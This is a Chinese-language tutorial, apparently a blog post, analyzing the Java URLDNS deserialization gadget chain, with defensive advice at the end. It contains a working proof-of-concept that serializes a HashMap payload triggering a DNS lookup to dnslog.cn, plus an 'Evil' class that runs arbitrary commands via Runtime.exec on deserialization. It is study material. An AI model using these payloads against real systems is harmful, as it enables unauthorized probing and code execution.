Java反序列化 — URLDNS利用链分析
字数 1256 2025-08-05 19:10:09

Java反序列化漏洞分析:URLDNS利用链详解

一、Java序列化与反序列化基础

1. 序列化与反序列化概念

Java序列化是指将Java对象转换为字节序列的过程,反序列化则是将字节序列恢复为Java对象的过程。

关键类和方法:

  • ObjectOutputStream.writeObject() - 序列化方法
  • ObjectInputStream.readObject() - 反序列化方法

2. 序列化条件

一个类要实现序列化必须:

  1. 实现java.io.Serializable接口
  2. 所有属性必须是可序列化的(使用transient关键字修饰的属性除外)

示例代码:

public class User implements Serializable {
    private String name;
    
    public void setName(String name) {
        this.name = name;
    }
    
    public String getName() {
        return name;
    }
}

3. 序列化数据格式

序列化后的二进制数据格式:

  • aced:Java序列化数据的magic word(STREAM_MAGIC
  • 0005:版本号(STREAM_VERSION
  • 73:表示是一个对象(TC_OBJECT
  • 72:表示对象描述(TC_CLASSDESC

二、反序列化漏洞原理

1. 反序列化魔术方法

实现了Serializable接口的类可以定义以下方法,在序列化/反序列化过程中会被调用:

private void writeObject(ObjectOutputStream oos)  // 自定义序列化
private void readObject(ObjectInputStream ois)    // 自定义反序列化

2. 反序列化漏洞三要素

  1. readObject反序列化利用点
  2. 可利用的调用链(Gadget Chain)
  3. RCE触发点

3. 恶意代码执行示例

public class Evil implements Serializable {
    public String cmd;
    
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);  // 反序列化时执行任意命令
    }
}

三、URLDNS利用链分析

1. URLDNS特点

  • 不限制JDK版本
  • 使用Java内置类,无第三方依赖要求
  • 目标无回显,通过DNS请求验证漏洞存在
  • 只能发起DNS请求,无法进行其他利用

2. Gadget调用链

JDK 1.8下的调用路线:

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

3. 关键代码分析

HashMap.readObject()

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    // ...省略部分代码...
    for (int i = 0; i < mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false);  // 关键调用点
    }
}

HashMap.hash()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

URL.hashCode()

public synchronized int hashCode() {
    if (hashCode != -1) return hashCode;
    hashCode = handler.hashCode(this);  // 当hashCode为-1时计算
    return hashCode;
}

URLStreamHandler.hashCode()

protected int hashCode(URL u) {
    // ...省略部分代码...
    InetAddress addr = getHostAddress(u);  // 触发DNS查询
    // ...省略部分代码...
}

4. 避免重复DNS查询的技巧

在生成Payload时需要避免本地测试时触发DNS查询,有两种方法:

方法一:使用SilentURLStreamHandler

static class SilentURLStreamHandler extends URLStreamHandler {
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

方法二:通过反射修改URL的hashCode字段

URL url = new URL("http://dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 123);  // 设置hashCode为非-1值
map.put(url, 123); // 此时不会触发DNS查询
f.set(url, -1);    // 恢复hashCode为-1,确保反序列化时触发

四、完整POC示例

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://dnslog.cn");
        
        // 通过反射修改hashCode避免本地触发DNS查询
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 123);
        System.out.println(url.hashCode());
        
        map.put(url, 123);  // 此时不会触发DNS查询
        
        // 恢复hashCode为-1,确保反序列化时触发
        f.set(url, -1);
        
        try {
            // 序列化
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();
            
            // 反序列化(触发DNS查询)
            FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

五、防御措施

  1. 输入验证:不要反序列化不受信任的数据
  2. 使用白名单:使用ObjectInputFilter设置反序列化白名单
  3. 替换默认序列化:考虑使用JSON等更安全的序列化格式
  4. 更新组件:及时更新存在漏洞的第三方库

六、总结

URLDNS利用链是Java反序列化漏洞检测中最常用的方式之一,它通过以下流程实现DNS查询:

  1. 反序列化HashMap对象
  2. HashMap的readObject方法调用hash函数
  3. hash函数调用URL对象的hashCode方法
  4. URL的hashCode方法调用URLStreamHandler的hashCode方法
  5. 最终触发getHostAddress方法进行DNS解析

理解这个利用链对于分析更复杂的Java反序列化漏洞具有重要意义。

Java反序列化漏洞分析:URLDNS利用链详解 一、Java序列化与反序列化基础 1. 序列化与反序列化概念 Java序列化是指将Java对象转换为字节序列的过程,反序列化则是将字节序列恢复为Java对象的过程。 关键类和方法: ObjectOutputStream.writeObject() - 序列化方法 ObjectInputStream.readObject() - 反序列化方法 2. 序列化条件 一个类要实现序列化必须: 实现 java.io.Serializable 接口 所有属性必须是可序列化的(使用 transient 关键字修饰的属性除外) 示例代码: 3. 序列化数据格式 序列化后的二进制数据格式: aced :Java序列化数据的magic word( STREAM_MAGIC ) 0005 :版本号( STREAM_VERSION ) 73 :表示是一个对象( TC_OBJECT ) 72 :表示对象描述( TC_CLASSDESC ) 二、反序列化漏洞原理 1. 反序列化魔术方法 实现了 Serializable 接口的类可以定义以下方法,在序列化/反序列化过程中会被调用: 2. 反序列化漏洞三要素 readObject 反序列化利用点 可利用的调用链(Gadget Chain) RCE触发点 3. 恶意代码执行示例 三、URLDNS利用链分析 1. URLDNS特点 不限制JDK版本 使用Java内置类,无第三方依赖要求 目标无回显,通过DNS请求验证漏洞存在 只能发起DNS请求,无法进行其他利用 2. Gadget调用链 JDK 1.8下的调用路线: 3. 关键代码分析 HashMap.readObject() : HashMap.hash() : URL.hashCode() : URLStreamHandler.hashCode() : 4. 避免重复DNS查询的技巧 在生成Payload时需要避免本地测试时触发DNS查询,有两种方法: 方法一:使用SilentURLStreamHandler 方法二:通过反射修改URL的hashCode字段 四、完整POC示例 五、防御措施 输入验证 :不要反序列化不受信任的数据 使用白名单 :使用 ObjectInputFilter 设置反序列化白名单 替换默认序列化 :考虑使用JSON等更安全的序列化格式 更新组件 :及时更新存在漏洞的第三方库 六、总结 URLDNS利用链是Java反序列化漏洞检测中最常用的方式之一,它通过以下流程实现DNS查询: 反序列化HashMap对象 HashMap的readObject方法调用hash函数 hash函数调用URL对象的hashCode方法 URL的hashCode方法调用URLStreamHandler的hashCode方法 最终触发getHostAddress方法进行DNS解析 理解这个利用链对于分析更复杂的Java反序列化漏洞具有重要意义。